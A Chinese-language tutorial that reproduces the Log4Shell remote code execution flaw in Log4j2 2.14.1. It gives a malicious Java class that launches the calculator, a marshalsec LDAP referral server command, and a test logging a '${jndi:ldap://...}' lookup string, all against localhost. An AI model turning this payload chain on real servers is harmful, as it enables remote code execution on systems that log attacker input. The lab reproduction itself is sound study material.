Apache Log4j 远程代码执行漏洞复现

Log4j2简介

Apache Log4j2 是一款开源的 Java 日志记录工具，大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。

受影响版本：2.x <= 2.14.1

漏洞复现

1.创建maven项目，导入Log4j依赖。

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

2.创建一恶意类Exploit.java

public class Exploit {
    static {
        System.err.println("Turn on the calculator!");
        try {
            Runtime.getRuntime().exec("calc");
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

注意：Exploit类中除了这些代码不要有其他东西，尤其是package和import。

3.编译得到Exploit.class

javac Exploit.java

4.使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888

启动成功如下图所示：

5.编写测试类测试

package cn.itmtr.log4jtest;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTestApplication {

    public static Logger log = LogManager.getLogger();

    public static void main(String[] args) {
        log.error("${jndi:ldap://127.0.0.1:8888/Exploit}");
    }

}